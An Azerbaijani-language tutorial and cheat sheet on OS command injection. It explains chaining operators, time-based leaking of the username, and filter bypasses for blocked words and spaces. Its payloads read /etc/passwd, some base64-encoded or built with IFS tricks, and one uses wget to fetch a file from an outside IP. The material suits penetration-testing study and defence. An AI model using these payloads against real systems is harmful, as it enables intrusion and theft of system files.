ƏS əmr inyeksiyası (həmçinin shell inyeksiyası kimi də tanınır) təcavüzkara tətbiqi işlədən serverdə ixtiyari əməliyyat sistemi (ƏS) əmrlərini çalışdırmağa imkan verən və adətən tətbiqi və onun bütün məlumatlarını tamamilə pozmağa imkan verən web təhlükəsizlik açığıdır.
Məsələn, verilən dəyər:
calc
Windows command prompt-na yazıldıqda proqram Kalkulyator tətbiqini açır.
Sonra təqdim edilmiş dəyər dəyişdirilərsə və indi:
calc & echo "test"
çalışdırılarsa, indi həm Kalkulyator tətbiqi, həm də cmd-də "test" sözünü görə bilərik.
Kontekst:
İnputu əlavə etdiyiniz yerdən asılı olaraq, əmrlərdən əvvəl yazılan konteksti (" və ya ' istifadə edərək) bağlamaq lazımdır.
Command Injection/Execution
#Həm Unixin həm də Windowsun dəsdəklədikləri
ls||id; ls ||id; ls|| id; ls || id # 2 tərəfdə çalışdırılır
ls|id; ls |id; ls| id; ls | id # 2 tərəfdə çalışdırılır (1 dənə pipe istifadə edərək)
ls&&id; ls &&id; ls&& id; ls && id # 1ci yerinə yetirildisə 2cini də çalışdırır
ls&id; ls &id; ls& id; ls & id # 2sidə çalışdırılır ancaq yalnız 2cinin nəticəsi görünür
ls %0A id # %0A 2sini də çalışdırır (Bu daha çox tövsiyyə olunur)
#Yalnız UNİX də istifadə olunanlar
`ls` # ``
$(ls) # $()
ls; id # ; arxa-arxaya əmrlər
ls${LS_COLORS:10:1}${IFS}id # Bu yararlı ola bilər
Zamana əsaslanaraq məlumatlatın serverdən çəkilməsi
aydnn@lichaa▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
#burada istifadəçi adının ilk hərfi s dirsə, sistemdə 5 saniyə müddətində dayanma
müşahidə olunur. Burda if şərti bizə sorğunun doğru olub-olmamasında kömək edir.
aydnn@lichaa▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
#burada istifadəçi adının ilk hərfi a dırsə, sistemdə 5 saniyə müddətində dayanma
müşahidə olunmalıdır. Ancaq belə bir hal baş vermir. Çünkü sorğu səhvdir.
Filtering bypass
Bypass Paths and forbidden words
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
/usr/bin/who*mi # /usr/bin/whoami
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Dırnaqlar
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Tərs slash-lər
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Böyük hərfdən kiçik hərfə
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformasiya (yalnız bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# $0 vasitəsilə
echo whoami|$0
# Başlanmamış dəyişənlər: Başlanmamış dəyişən sıfıra bərabərdir (heç bir şey)
cat$u /etc$u/passwd$u # Hər hansı bir simvoldan əvvəl {} olmadan başlatılmamış dəyişəndən istifadə edin
p${u}i${u}n${u}g # Pingə bərabərdir, işə salınmamış dəyişənləri etibarlı simvollar arasına qoymaq üçün {} istifadə edin
# Fake əmrlər
p$(u)i$(u)n$(u)g # Pingə bərabərdir, lakin "u" yerinə yetirməyə çalışan 3 səhv göstərilir
w`u`h`u`o`u`a`u`m`u`i # whoami-yə bərabərdir, lakin "u"-nu yerinə yetirməyə çalışan 5 səhv göstərilir
Bypass forbidden spaces
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS -Daxili sahə ayırıcı, bu halda hər hansı digər simvol üçün " " dəyişin ("]")
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Komanda xəttini dəyişənə qoyun və sonra icra edin
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # cat-i 2 defe istifade edin
# Başqa cür, sadəcə olaraq ${IFS} üçün hər yeri dəyişdirin
echo${IFS}test
# hex formatı istifadə edin
X=$'cat\x20/etc/passwd'&&$X
# tablardan istifadə edin
echo "ls\x09-l" | bash
# Yeni sətirlər
p\
i\
n\
g # Bu 4 sətir pingə bərabər olacaq
# Müəyyən edilməmiş dəyişənlər və !
$u $u # Bu history də yadda saxlanılacaq və boşluq kimi istifadə edilə bilər, $u dəyişəninin qeyri-müəyyən olduğuna diqqət yetirin.
uname!-1\-a # uname -a bərabərdir.